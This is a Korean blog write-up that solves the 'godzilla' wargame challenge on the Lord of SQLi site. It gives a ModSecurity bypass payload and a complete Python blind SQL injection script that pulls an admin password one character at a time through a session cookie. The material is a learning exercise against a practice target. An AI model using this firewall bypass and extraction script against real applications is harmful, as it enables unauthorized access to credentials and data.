상세 컨텐츠

본문 제목

[LOS] godzilla

기술보안/Web

by about_SC 2019. 11. 10. 20:14

본문

[LOS] godzilla

SQLi를 날려보았을 때, 특정 패턴에 반응하여 이전 문제와 동일하게 403 응답코드를 보여주는 것으로 보아
웹 방화벽이 존재함을 알 수 있었다.

이전 학습했던 최신 ModSecurity 3.1.0, MYSQL에서만 우회가 가능하였던 특정 패턴을 사용하여 문제를 풀어보자.
> ?id=-1'<@=1+OR+1=1+OR+'&pw=1
> ?id=-1'<@=1+OR+1=2+OR+'&pw=1

위의 공격 결과, 참 거짓에 따라 응답 값 차이를 확인할 수 있엇다.
Blind SQL Injection을 이용하여 문제를 풀어보기로 하자.

import urllib2
import urllib
import requests

flag = ""
length = 0

url = "https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?"
session = dict(PHPSESSID="fnfupkbcbvi7pb6o960mjhduh5")

print "[+] Start"
print "[+] Find length of the password"

for i in range(0,20):
        try:
                query = url + "id=-1'<@=1 OR id='admin' and length(pw)="+str(i)+" OR '&pw=1"
                r = requests.post(query, cookies=session)
        except:
                print "[-] Error occur"
                continue
        
        if 'Hello admin' in r.text:
                length = i
                break
                
print "[+] Found length:", length
print "=============================================================="
print "[+] Find password"

for j in range(1,length+1):
        for i in range(48,128):
                try:
                        query = url + "id=-1'<@=1 OR id='admin' and substr(pw,"+str(j)+",1)='"+chr(i)+"' OR '&pw=1"
                        r = requests.post(query, cookies=session)
                except:
                        print "[-] Error occur"
                        continue
                
                if 'Hello admin' in r.text:
                        flag += chr(i)
                        print "[+] Found"+str(j),":",flag
                        break
                
print "[+] Found password:", flag
print "[+] End"
print "=============================================================="

gozila.py
0.00MB

위의 코드로 ADMIN 계정의 패스워드 획득이 가능했다.
이전까지도 그랬듯 패스워드는 소문자였으니, 소문자로 입력해주면 문제가 풀린다.

관련글 더보기